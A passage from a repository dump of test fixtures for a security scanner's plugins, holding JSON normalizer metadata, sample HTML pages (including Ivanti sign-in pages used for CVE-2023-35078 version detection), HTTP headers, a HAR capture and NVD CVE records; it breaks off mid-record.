    "content": "{\n  \"id\": \"645fd349-6d62-43dd-8cfe-d3ab03c9e4b7\",\n  \"raw_data\": {\n    \"id\": \"04a20ad7-79a9-4043-88e4-ff5a44f2c23b\",\n    \"boefje_meta\": {\n      \"id\": \"f41900c9-956d-43df-bd79-620b04bc6a7f\",\n      \"boefje\": {\n        \"id\": \"webpage-analysis\"\n      },\n      \"organization\": \"_dev\",\n      \"input_ooi\": \"HTTPResource|internet|134.209.85.72|tcp|443|https|internet|mispo.es|https|internet|mispo.es|443|/\",\n      \"arguments\": {\n        \"input\": {\n          \"object_type\": \"HTTPResource\",\n          \"scan_profile\": \"reference=Reference('HTTPResource|internet|134.209.85.72|tcp|443|https|internet|mispo.es|https|internet|mispo.es|443|/') level=4 scan_profile_type='inherited'\",\n          \"primary_key\": \"HTTPResource|internet|134.209.85.72|tcp|443|https|internet|mispo.es|https|internet|mispo.es|443|/\",\n          \"website\": {\n            \"ip_service\": {\n              \"ip_port\": {\n                \"address\": {\n                  \"network\": {\n                    \"name\": \"internet\"\n                  },\n                  \"address\": \"134.209.85.72\"\n                },\n                \"protocol\": \"tcp\",\n                \"port\": \"443\"\n              },\n              \"service\": {\n                \"name\": \"https\"\n              }\n            },\n            \"hostname\": {\n              \"network\": {\n                \"name\": \"internet\"\n              },\n              \"name\": \"mispo.es\"\n            }\n          },\n          \"web_url\": {\n            \"scheme\": \"https\",\n            \"netloc\": {\n              \"network\": {\n                \"name\": \"internet\"\n              },\n              \"name\": \"mispo.es\"\n            },\n            \"port\": \"443\",\n            \"path\": \"/\"\n          },\n          \"redirects_to\": \"None\"\n        }\n      }\n    },\n    \"mime_types\": [\n      {\n        \"value\": \"boefje/dns-records\"\n      }\n    ]\n  },\n  \"normalizer\": {\n    \"id\": \"kat_find_images_in_html\",\n    \"version\": null\n  }\n}\n"
  },
  {
    "path": "boefjes/tests/examples/body-page-analysis-normalize.json",
    "content": "{\n  \"id\": \"312b968d-0453-48fd-8e7b-ecfcb757dc7e\",\n  \"raw_data\": {\n    \"id\": \"e20e3de6-4305-4344-bfcf-a8b9ecc76ccd\",\n    \"boefje_meta\": {\n      \"id\": \"a8d1830b-3e2e-4dab-928e-4493a9710ff1\",\n      \"boefje\": {\n        \"id\": \"webpage-analysis\"\n      },\n      \"organization\": \"_dev\",\n      \"input_ooi\": \"HTTPResource|internet|134.209.85.72|tcp|443|https|internet|mispo.es|https|internet|mispo.es|443|/\",\n      \"arguments\": {\n        \"input\": {\n          \"object_type\": \"HTTPResource\",\n          \"scan_profile\": \"reference=Reference('HTTPResource|internet|134.209.85.72|tcp|443|https|internet|mispo.es|https|internet|mispo.es|443|/') level=4 scan_profile_type='inherited'\",\n          \"primary_key\": \"HTTPResource|internet|134.209.85.72|tcp|443|https|internet|mispo.es|https|internet|mispo.es|443|/\",\n          \"website\": {\n            \"ip_service\": {\n              \"ip_port\": {\n                \"address\": {\n                  \"network\": {\n                    \"name\": \"internet\"\n                  },\n                  \"address\": \"134.209.85.72\"\n                },\n                \"protocol\": \"tcp\",\n                \"port\": \"443\"\n              },\n              \"service\": {\n                \"name\": \"https\"\n              }\n            },\n            \"hostname\": {\n              \"network\": {\n                \"name\": \"internet\"\n              },\n              \"name\": \"mispo.es\"\n            }\n          },\n          \"web_url\": {\n            \"scheme\": \"https\",\n            \"netloc\": {\n              \"network\": {\n                \"name\": \"internet\"\n              },\n              \"name\": \"mispo.es\"\n            },\n            \"port\": \"443\",\n            \"path\": \"/\"\n          },\n          \"redirects_to\": \"None\"\n        }\n      }\n    },\n    \"mime_types\": [\n      {\n        \"value\": \"application/json+har\"\n      }\n    ]\n  },\n  \"normalizer\": {\n    \"id\": \"kat_wappalyzer_normalize\",\n    \"version\": null\n  }\n}\n"
  },
  {
    "path": "boefjes/tests/examples/bodyimage-normalize.json",
    "content": "{\n  \"id\": \"312b968d-0453-48fd-8e7b-ecfcb757dc7e\",\n  \"raw_data\": {\n    \"id\": \"e20e3de6-4305-4344-bfcf-a8b9ecc76ccd\",\n    \"boefje_meta\": {\n      \"id\": \"a8d1830b-3e2e-4dab-928e-4493a9710ff1\",\n      \"boefje\": {\n        \"id\": \"webpage-analysis\"\n      },\n      \"organization\": \"_dev\",\n      \"input_ooi\": \"HTTPResource|internet|134.209.85.72|tcp|443|https|internet|mispo.es|https|internet|mispo.es|443|/\",\n      \"arguments\": {\n        \"input\": {\n          \"object_type\": \"HTTPResource\",\n          \"scan_profile\": \"reference=Reference('HTTPResource|internet|134.209.85.72|tcp|443|https|internet|mispo.es|https|internet|mispo.es|443|/') level=4 scan_profile_type='inherited'\",\n          \"primary_key\": \"HTTPResource|internet|134.209.85.72|tcp|443|https|internet|mispo.es|https|internet|mispo.es|443|/\",\n          \"website\": {\n            \"ip_service\": {\n              \"ip_port\": {\n                \"address\": {\n                  \"network\": {\n                    \"name\": \"internet\"\n                  },\n                  \"address\": \"134.209.85.72\"\n                },\n                \"protocol\": \"tcp\",\n                \"port\": \"443\"\n              },\n              \"service\": {\n                \"name\": \"https\"\n              }\n            },\n            \"hostname\": {\n              \"network\": {\n                \"name\": \"internet\"\n              },\n              \"name\": \"mispo.es\"\n            }\n          },\n          \"web_url\": {\n            \"scheme\": \"https\",\n            \"netloc\": {\n              \"network\": {\n                \"name\": \"internet\"\n              },\n              \"name\": \"mispo.es\"\n            },\n            \"port\": \"443\",\n            \"path\": \"/\"\n          },\n          \"redirects_to\": \"None\"\n        }\n      }\n    },\n    \"mime_types\": [\n      {\n        \"value\": \"boefje/dns-records\"\n      }\n    ]\n  },\n  \"normalizer\": {\n    \"id\": \"kat_check_images\",\n    \"version\": null\n  }\n}\n"
  },
  {
    "path": "boefjes/tests/examples/calvin-normalizer.json",
    "content": "{\n  \"id\": \"46003af4-86af-43f6-ba16-f28ed5cc696d\",\n  \"raw_data\": {\n    \"id\": \"d5ceebb4-8c23-43e7-8761-3b24a558b443\",\n    \"boefje_meta\": {\n      \"id\": \"f02adbb8-b6e9-4cce-9c90-03983765e1a4\",\n      \"boefje\": {\n        \"id\": \"calvin\"\n      },\n      \"organization\": \"_dev\",\n      \"input_ooi\": null,\n      \"arguments\": {}\n    },\n    \"mime_types\": [\n      {\n        \"value\": \"boefje/calvin\"\n      }\n    ]\n  },\n  \"normalizer\": {\n    \"id\": \"calvin-normalize\"\n  }\n}\n"
  },
  {
    "path": "boefjes/tests/examples/cve_2023_35078_not_vulnerable.html",
    "content": "<!DOCTYPE html>\n\n\n\n\n\n\n\n\n<html>\n<head>\n    <meta charset=\"utf-8\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no\">\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n    <meta name=\"referrer\" content=\"strict-origin-when-cross-origin\" />\n    <title>Workplace Sign In</title>\n    <script type=\"text/javascript\" src=\"/mifs/scripts/auth.js?VSP 11.10.0.3 Build 2 \"></script>\n    <link href=\"/mifs/css/windowsAllAuth.css?11.10\" rel=\"stylesheet\" />\n</head>\n<body onload=\"onLoad();\">\n    <div class=\"container\" >\n        <p class=\"windowsPhoneData\" >\n            <img src=\"/mifs/whitelabel/mobileiron/img/brand-med.svg\" width=\"400\" height=\"90\"/>\n        </p>\n\n            <form id=\"form\" action=\"/mifs/c/wp/EnrollmentServer/Authentication.svc\" method=\"POST\">\n            <h1 class=\"windowsText\">Sign in to your Ivanti account</h1>\n            <p id=\"error\" class=\"hidden\"></p>\n\n            <p>\n                <label for=\"login\">Email address</label><br/>\n                <input id=\"login\" name=\"login\" type=\"text\" value=\"\" autocomplete=\"on\" />\n            </p>\n\n\n                <p class=\"textBox\">\n                    <label for=\"password\">Password</label><br/>\n                    <input id=\"password\" name=\"password\" type=\"password\" value=\"\" autocomplete=\"off\" />\n                </p>\n\n\n\n\n            <button type=\"submit\" id=\"signIn\" class=\"button btn-new btn-new-default\">\n                Sign in\n            </button>\n\n            <input name=\"app\" type=\"hidden\" value=\"\" />\n            <input name=\"errorCode\" id=\"errorCode\" type=\"hidden\" value=\"\"/>\n            <input name=\"backOffDelay\" id=\"backOffDelay\" type=\"hidden\" value=\"\"/>\n        </form>\n\n        <div class=\"windowsText\">\n            <img src=\"/mifs/whitelabel/mobileiron/img/brand-med.svg\"\n                 alt=\"Ivanti Logo\" style=\"width: 150pt; height: 43pt;\" />\n            <p class=\"description\">Ivanti ist führend im Bereich Enterprise Mobility Management und ermöglicht es Unternehmen auf der ganzen Welt, Mobilsysteme als primäre IT-Plattform einzusetzen.<br/><br/>Die Lösungen von Ivanti wurden speziell für Unternehmen entwickelt, die auf Mobilplattformen setzen. Sie ermöglichen Ihnen das Absichern und Verwalten all Ihrer Mobilgeräte und -anwendungen, die auf den führenden Mobilgeräteplattformen laufen, darunter Windows und Windows Phone.</p>\n        </div>\n\n    </div>\n</body>\n</html>\n"
  },
  {
    "path": "boefjes/tests/examples/cve_2023_35078_vulnerable.html",
    "content": "<!DOCTYPE html>\n\n\n\n\n\n\n\n<html>\n<head>\n    <meta charset=\"utf-8\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no\">\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n    <title>Workplace Sign In</title>\n    <script type=\"text/javascript\" src=\"/mifs/scripts/auth.js?VSP 10.8.0.0 Build 34 \"></script>\n    <link href=\"/mifs/css/windowsAllAuth.css?10.8\" rel=\"stylesheet\" />\n</head>\n<body onload=\"onLoad();\">\n    <div class=\"container\" >\n        <p class=\"windowsPhoneData\" >\n            <img src=\"/mifs/whitelabel/mobileiron/img/brand-med.svg\" width=\"400\" height=\"90\"/>\n        </p>\n\n            <form id=\"form\" action=\"/mifs/c/wp/EnrollmentServer/Authentication.svc\" method=\"POST\">\n            <h1 class=\"windowsText\">Sign in to your MobileIron account</h1>\n            <p id=\"error\" class=\"hidden\"></p>\n\n            <p>\n                <label for=\"login\">Email address</label><br/>\n                <input id=\"login\" name=\"login\" type=\"text\" value=\"\" autocomplete=\"on\" />\n            </p>\n\n\n                <p class=\"textBox\">\n                    <label for=\"password\">Password</label><br/>\n                    <input id=\"password\" name=\"password\" type=\"password\" value=\"\" autocomplete=\"off\" />\n                </p>\n\n\n\n\n            <button type=\"submit\" id=\"signIn\" class=\"button btn-new btn-new-default\">\n                Sign in\n            </button>\n\n            <input name=\"app\" type=\"hidden\" value=\"\" />\n            <input name=\"errorCode\" id=\"errorCode\" type=\"hidden\" value=\"\"/>\n            <input name=\"backOffDelay\" id=\"backOffDelay\" type=\"hidden\" value=\"\"/>\n        </form>\n\n        <div class=\"windowsText\">\n            <img src=\"/mifs/whitelabel/mobileiron/img/brand-med.svg\"\n                 alt=\"MobileIron Logo\" style=\"width: 150pt; height: 43pt;\" />\n            <p class=\"description\">The leader in enterprise mobility management, MobileIron enables organizations around the world to embrace mobility as their primary IT platform.<br/><br/>MobileIron's solutions are purpose-built for the Mobile First enterprise, allowing you to secure and manage all of your mobile devices and applications running on the leading mobile platforms, including Windows and Windows Phone.</p>\n        </div>\n\n    </div>\n</body>\n</html>\n"
  },
  {
    "path": "boefjes/tests/examples/dns-normalize.json",
    "content": "{\n  \"id\": \"7134430c-8509-4944-b0be-27cb9bfb4bc2\",\n  \"raw_data\": {\n    \"id\": \"7134430c-8509-4944-b0be-27cb9bfb4bc2\",\n    \"boefje_meta\": {\n      \"id\": \"7134430c-8509-4944-b0be-27cb9bfb4bc2\",\n      \"boefje\": {\n        \"id\": \"dns-records\",\n        \"name\": \"DnsResolve\"\n      },\n      \"organization\": \"_dev\",\n      \"input_ooi\": \"Hostname|internet|example.nl\",\n      \"arguments\": {\n        \"input\": {\n          \"name\": \"example.nl\"\n        }\n      },\n      \"dispatches\": [\n        {\n          \"id\": \"kat_dns.normalize\",\n          \"version\": null\n        }\n      ]\n    },\n    \"mime_types\": [\n      {\n        \"value\": \"boefje/dns-records\"\n      }\n    ]\n  },\n  \"normalizer\": {\n    \"id\": \"kat_dns_normalize\",\n    \"version\": null\n  }\n}\n"
  },
  {
    "path": "boefjes/tests/examples/download_body",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n  <meta charset=\"UTF-8\">\n  <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n  <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n  <title>Mispoes!</title>\n\n  <!-- Latest compiled and minified CSS -->\n  <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\" integrity=\"sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u\" crossorigin=\"anonymous\">\n\n  <!-- Optional theme -->\n  <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css\" integrity=\"sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp\" crossorigin=\"anonymous\">\n\n  <style>\n\n\tmain {\n\t  text-align: center;\n\t}\n\n  </style>\n\n</head>\n<body>\n\n  <main class=\"container\">\n    <h1>Mispoes!</h1>\n    <article>\n      <p>\n        Miauw miauw miauw\n      </p>\n      <img src=\"http://placekitten.com/600/600.webp\">\n      <img src=\"http://placekitten.com/600/600\">\n      <img src=\"/600/600.webp\">\n      <img src=\"/600/600\">\n    </article>\n  </main>\n\n\n  <!-- jQuery :( -->\n  <script src=\"https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js\" integrity=\"sha512-894YE6QWD5I59HgZOGReFYm4dnWc1Qt5NtvYSaNcOP+u1T9qYdvdihz0PPSiiqn/+/3e7Jo4EaG7TubfWGUrMQ==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n\n  <!-- Latest compiled and minified JavaScript -->\n  <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\" integrity=\"sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa\" crossorigin=\"anonymous\"></script>\n\n  <!-- jQuery Migrate :((((( -->\n  <script src=\"https://cdnjs.cloudflare.com/ajax/libs/jquery-migrate/1.0.0/jquery-migrate-1.0.0.js\" integrity=\"sha512-mEpPobji5tfGgUvzPA6NhRm+p7vssPId8odkvjDq3yjlamhNBMbEKZEIJBISY+8rGfYe4D2Wx/bj83noBmDtiw==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n\n</body>\n</html>\n"
  },
  {
    "path": "boefjes/tests/examples/download_headers.json",
    "content": "{\n  \"Server\": \"nginx/1.18.0\",\n  \"Date\": \"Tue, 03 Jan 2023 10:16:45 GMT\",\n  \"Content-Type\": \"text/html\",\n  \"Last-Modified\": \"Fri, 18 Feb 2022 09:21:01 GMT\",\n  \"Transfer-Encoding\": \"chunked\",\n  \"Connection\": \"keep-alive\",\n  \"ETag\": \"W/\\\"620f64fd-72f\\\"\",\n  \"Content-Security-Policy\": \"default-src * 'unsafe-inline' 'unsafe-eval'; script-src * 'unsafe-inline' 'unsafe-eval'; connect-src * 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src *; style-src * 'unsafe-inline';\",\n  \"Content-Encoding\": \"gzip\"\n}\n"
  },
  {
    "path": "boefjes/tests/examples/download_image_headers.json",
    "content": "{\n  \"Date\": \"Tue, 03 Jan 2020 16:54:31 GMT\",\n  \"Content-Length\": \"35709\",\n  \"Content-Type\": \"image/jpeg\",\n  \"Connection\": \"keep-alive\",\n  \"Vary\": \"IS_SUBREQ,User-Agent, Accept-Encoding\",\n  \"Cache-Control\": \"public, max-age=86400\",\n  \"Expires\": \"Thu, 31 Dec 2020 20:00:00 GMT\",\n  \"Access-Control-Allow-Origin\": \"*\",\n  \"Last-Modified\": \"Tue, 03 Jan 2020 08:40:58 GMT\",\n  \"CF-Cache-Status\": \"HIT\",\n  \"Age\": \"20376\",\n  \"Accept-Ranges\": \"bytes\",\n  \"NEL\": \"{\\\"success_fraction\\\":0,\\\"report_to\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800}\",\n  \"alt-svc\": \"h3=\\\":443\\\"; ma=86400, h3-29=\\\":443\\\"; ma=86400\"\n}\n"
  },
  {
    "path": "boefjes/tests/examples/download_page_analysis.raw",
    "content": "{\n    \"log\": {\n        \"version\": \"1.2\",\n        \"creator\": {\n            \"name\": \"kat_webpage_analysis\",\n            \"version\": \"0.1\"\n        },\n        \"browser\": {\n            \"name\": \"requests\",\n            \"version\": \"2.32.3\"\n        },\n        \"entries\": [\n            {\n                \"startedDateTime\": \"2024-11-19T14:32:21.701024+00:00\",\n                \"time\": 0,\n                \"request\": {\n                    \"method\": \"GET\",\n                    \"url\": \"http://134.209.85.72/\",\n                    \"httpVersion\": \"HTTP/1.1\",\n                    \"cookies\": [],\n                    \"queryString\": [],\n                    \"headers\": [\n                        {\n                            \"name\": \"User-Agent\",\n                            \"value\": \"OpenKAT\"\n                        },\n                        {\n                            \"name\": \"Accept-Encoding\",\n                            \"value\": \"gzip, deflate\"\n                        },\n                        {\n                            \"name\": \"Accept\",\n                            \"value\": \"*/*\"\n                        },\n                        {\n                            \"name\": \"Connection\",\n                            \"value\": \"keep-alive\"\n                        },\n                        {\n                            \"name\": \"Host\",\n                            \"value\": \"mispo.es:80\"\n                        }\n                    ],\n                    \"headersSize\": -1,\n                    \"bodySize\": -1\n                },\n                \"response\": {\n                    \"status\": 301,\n                    \"statusText\": \"Moved Permanently\",\n                    \"httpVersion\": \"HTTP/1.1\",\n                    \"cookies\": [],\n                    \"headers\": [\n                        {\n                            \"name\": \"Server\",\n                            \"value\": \"nginx/1.18.0\"\n                        },\n                        {\n                            \"name\": \"Date\",\n                            \"value\": \"Tue, 19 Nov 2024 14:32:21 GMT\"\n                        },\n                        {\n                            \"name\": \"Content-Type\",\n                            \"value\": \"text/html\"\n                        },\n                        {\n                            \"name\": \"Content-Length\",\n                            \"value\": \"169\"\n                        },\n                        {\n                            \"name\": \"Connection\",\n                            \"value\": \"keep-alive\"\n                        },\n                        {\n                            \"name\": \"Location\",\n                            \"value\": \"https://mispo.es/\"\n                        },\n                        {\n                            \"name\": \"Content-Security-Policy\",\n                            \"value\": \"default-src 'self'; frame-src 'self'; frame-ancestors 'self' *.asfsdgswrgew223424.com\"\n                        }\n                    ],\n                    \"content\": {\n                        \"size\": 169,\n                        \"mimeType\": \"text/html\",\n                        \"text\": \"<!DOCTYPE html>\\n<html lang=\\\"en\\\">\\n<head>\\n  <meta charset=\\\"UTF-8\\\">\\n  <meta http-equiv=\\\"X-UA-Compatible\\\" content=\\\"IE=edge\\\">\\n  <meta name=\\\"viewport\\\" content=\\\"width=device-width, initial-scale=1.0\\\">\\n  <title>Mispoes!</title>\\n  <!-- Latest compiled and minified CSS -->\\n  <link rel=\\\"stylesheet\\\" href=\\\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\\\" integrity=\\\"sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u\\\" crossorigin=\\\"anonymous\\\">\\n  <!-- Optional theme -->\\n  <link rel=\\\"stylesheet\\\" href=\\\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css\\\" integrity=\\\"sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp\\\" crossorigin=\\\"anonymous\\\">\\n  <style>\\n\\tmain {\\n\\t  text-align: center;\\n\\t}\\n  </style>\\n</head>\\n<body>\\n  <main class=\\\"container\\\">\\n    <h1>Mispoes!</h1>\\n    <article>\\n      <p>\\n        Miauw miauw miauw\\n      </p>\\n      <img src=\\\"http://placekitten.com/600/600.webp\\\">\\n      <img src=\\\"http://placekitten.com/600/600\\\">\\n      <img src=\\\"/600/600.webp\\\">\\n      <img src=\\\"/600/600\\\">\\n    </article>\\n  </main>\\n  <!-- jQuery :( -->\\n  <script src=\\\"https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js\\\" integrity=\\\"sha512-894YE6QWD5I59HgZOGReFYm4dnWc1Qt5NtvYSaNcOP+u1T9qYdvdihz0PPSiiqn/+/3e7Jo4EaG7TubfWGUrMQ==\\\" crossorigin=\\\"anonymous\\\" referrerpolicy=\\\"no-referrer\\\"></script>\\n  <!-- Latest compiled and minified JavaScript -->\\n  <script src=\\\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\\\" integrity=\\\"sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa\\\" crossorigin=\\\"anonymous\\\"></script>\\n  <!-- jQuery Migrate :((((( -->\\n  <script src=\\\"https://cdnjs.cloudflare.com/ajax/libs/jquery-migrate/1.0.0/jquery-migrate-1.0.0.js\\\" integrity=\\\"sha512-mEpPobji5tfGgUvzPA6NhRm+p7vssPId8odkvjDq3yjlamhNBMbEKZEIJBISY+8rGfYe4D2Wx/bj83noBmDtiw==\\\" crossorigin=\\\"anonymous\\\" referrerpolicy=\\\"no-referrer\\\"></script>\\n</body>\\n</html>\"\n                    },\n                    \"redirectURL\": \"http://134.209.85.72/\",\n                    \"headersSize\": -1,\n                    \"bodySize\": 0\n                },\n                \"cache\": {},\n                \"timings\": {\n                    \"send\": 0,\n                    \"wait\": 0,\n                    \"receive\": 0\n                }\n            }\n        ]\n    }\n}\n"
  },
  {
    "path": "boefjes/tests/examples/external_db.json",
    "content": "{\n  \"id\": \"f50de284-d3c1-4f87-ba68-07b957b7a48f\",\n  \"raw_data\": {\n    \"id\": \"66451567-2381-4248-b5a1-d0d0985e065f\",\n    \"boefje_meta\": {\n      \"id\": \"f29f76c5-f7b1-4662-89c6-6dc313a9f93f\",\n      \"boefje\": {\n        \"id\": \"external_db\"\n      },\n      \"input_ooi\": \"Network|internet\",\n      \"arguments\": {\n        \"input\": {\n          \"name\": \"internet\"\n        }\n      },\n      \"organization\": \"tst\",\n      \"started_at\": \"2010-07-27T11:26:42.679000+00:00\",\n      \"ended_at\": \"2010-07-27T11:26:48.679000+00:00\"\n    },\n    \"mime_types\": [\n      {\n        \"value\": \"external_db\"\n      }\n    ]\n  },\n  \"normalizer\": {\n    \"id\": \"kat_external_db_normalize\"\n  }\n}\n"
  },
  {
    "path": "boefjes/tests/examples/inputs/cve-result-with-cvss.json",
    "content": "{\n  \"cve\": {\n    \"id\": \"CVE-2021-46882\",\n    \"sourceIdentifier\": \"psirt@huawei.com\",\n    \"published\": \"2023-05-26T17:15:12.703\",\n    \"lastModified\": \"2023-05-29T03:38:59.390\",\n    \"vulnStatus\": \"Analyzed\",\n    \"descriptions\": [\n      {\n        \"lang\": \"en\",\n        \"value\": \"The video framework has memory overwriting caused by addition overflow. Successful exploitation of this vulnerability may affect availability.\"\n      }\n    ],\n    \"metrics\": {\n      \"cvssMetricV31\": [\n        {\n          \"source\": \"nvd@nist.gov\",\n          \"type\": \"Primary\",\n          \"cvssData\": {\n            \"version\": \"3.1\",\n            \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\",\n            \"attackVector\": \"NETWORK\",\n            \"attackComplexity\": \"LOW\",\n            \"privilegesRequired\": \"NONE\",\n            \"userInteraction\": \"NONE\",\n            \"scope\": \"UNCHANGED\",\n            \"confidentialityImpact\": \"NONE\",\n            \"integrityImpact\": \"NONE\",\n            \"availabilityImpact\": \"HIGH\",\n            \"baseScore\": 7.5,\n            \"baseSeverity\": \"HIGH\"\n          },\n          \"exploitabilityScore\": 3.9,\n          \"impactScore\": 3.6\n        }\n      ]\n    },\n    \"weaknesses\": [\n      {\n        \"source\": \"nvd@nist.gov\",\n        \"type\": \"Primary\",\n        \"description\": [\n          {\n            \"lang\": \"en\",\n            \"value\": \"CWE-120\"\n          }\n        ]\n      }\n    ],\n    \"configurations\": [\n      {\n        \"nodes\": [\n          {\n            \"operator\": \"OR\",\n            \"negate\": false,\n            \"cpeMatch\": [\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:o:huawei:emui:10.1.0:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"66AC7F91-917C-40A6-9983-A339EFB091F1\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:o:huawei:emui:10.1.1:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"A7FF0AD1-22C2-423B-822A-E6496CEDAB02\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:o:huawei:emui:11.0.0:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"0B701EC6-8208-4D22-95A6-B07D471A8A8B\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:o:huawei:emui:12.0.0:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"A974CA73-84E8-480B-BB4C-4A81D0C985B2\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:o:huawei:emui:12.0.1:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"2DF07E7F-3A18-4B74-B73D-DF3647C2A48F\"\n              }\n            ]\n          }\n        ]\n      }\n    ],\n    \"references\": [\n      {\n        \"url\": \"https://consumer.huawei.com/en/support/bulletin/2023/5/\",\n        \"source\": \"psirt@huawei.com\",\n        \"tags\": [\n          \"Vendor Advisory\"\n        ]\n      }\n    ]\n  }\n}\n"
  },
  {
    "path": "boefjes/tests/examples/inputs/cve-result-with-cvss2.json",
    "content": "{\n  \"cve\": {\n    \"id\": \"CVE-2016-0616\",\n    \"sourceIdentifier\": \"secalert_us@oracle.com\",\n    \"published\": \"2016-01-21T03:02:39.850\",\n    \"lastModified\": \"2019-12-27T16:08:55.810\",\n    \"vulnStatus\": \"Modified\",\n    \"descriptions\": [\n      {\n        \"lang\": \"en\",\n        \"value\": \"Unspecified vulnerability in Oracle MySQL 5.5.46 and earlier and MariaDB before 5.5.47, 10.0.x before 10.0.23, and 10.1.x before 10.1.10 allows remote authenticated users to affect availability via unknown vectors related to Optimizer.\"\n      },\n      {\n        \"lang\": \"es\",\n        \"value\": \"Vulnerabilidad no especificada en Oracle MySQL 5.5.46 y versiones anteriores y MariaDB en versiones anteriores a 5.5.47, 10.0.x en versiones anteriores a 10.0.23 y 10.1.x en versiones anteriores a 10.1.10 permite a usuarios remotos autenticados afectar a la disponibilidad a través de vectores no conocidos relacionados con Optimizer.\"\n      }\n    ],\n    \"metrics\": {\n      \"cvssMetricV2\": [\n        {\n          \"source\": \"nvd@nist.gov\",\n          \"type\": \"Primary\",\n          \"cvssData\": {\n            \"version\": \"2.0\",\n            \"vectorString\": \"AV:N/AC:L/Au:S/C:N/I:N/A:P\",\n            \"accessVector\": \"NETWORK\",\n            \"accessComplexity\": \"LOW\",\n            \"authentication\": \"SINGLE\",\n            \"confidentialityImpact\": \"NONE\",\n            \"integrityImpact\": \"NONE\",\n            \"availabilityImpact\": \"PARTIAL\",\n            \"baseScore\": 4\n          },\n          \"baseSeverity\": \"MEDIUM\",\n          \"exploitabilityScore\": 8,\n          \"impactScore\": 2.9,\n          \"acInsufInfo\": false,\n          \"obtainAllPrivilege\": false,\n          \"obtainUserPrivilege\": false,\n          \"obtainOtherPrivilege\": false,\n          \"userInteractionRequired\": false\n        }\n      ]\n    },\n    \"weaknesses\": [\n      {\n        \"source\": \"nvd@nist.gov\",\n        \"type\": \"Primary\",\n        \"description\": [\n          {\n            \"lang\": \"en\",\n            \"value\": \"NVD-CWE-noinfo\"\n          }\n        ]\n      }\n    ],\n    \"configurations\": [\n      {\n        \"nodes\": [\n          {\n            \"operator\": \"OR\",\n            \"negate\": false,\n            \"cpeMatch\": [\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:o:redhat:enterprise_linux_desktop:7.0:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"33C068A4-3780-4EAB-A937-6082DF847564\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:o:redhat:enterprise_linux_hpc_node:7.0:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"3C84489B-B08C-4854-8A12-D01B6E45CF79\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:o:redhat:enterprise_linux_hpc_node_eus:7.2:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"39A901D6-0874-46A4-92A8-5F72C7A89E85\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:o:redhat:enterprise_linux_server:7.0:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"51EF4996-72F4-4FA4-814F-F5991E7A8318\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:o:redhat:enterprise_linux_server_aus:7.2:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"1C8D871B-AEA1-4407-AEE3-47EC782250FF\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:o:redhat:enterprise_linux_server_eus:7.2:*:*:*:*:*:*:*\",\n                \"matchCriteriaId\": \"44B067C7-735E-43C9-9188-7E1522A02491\"\n              },\n              {\n                \"vulnerable\": true,\n                \"criteria\": \"cpe:2.3:o:redhat:enterprise_linux_workstation:7.0:*:*:*:*:*:*:*\",\n                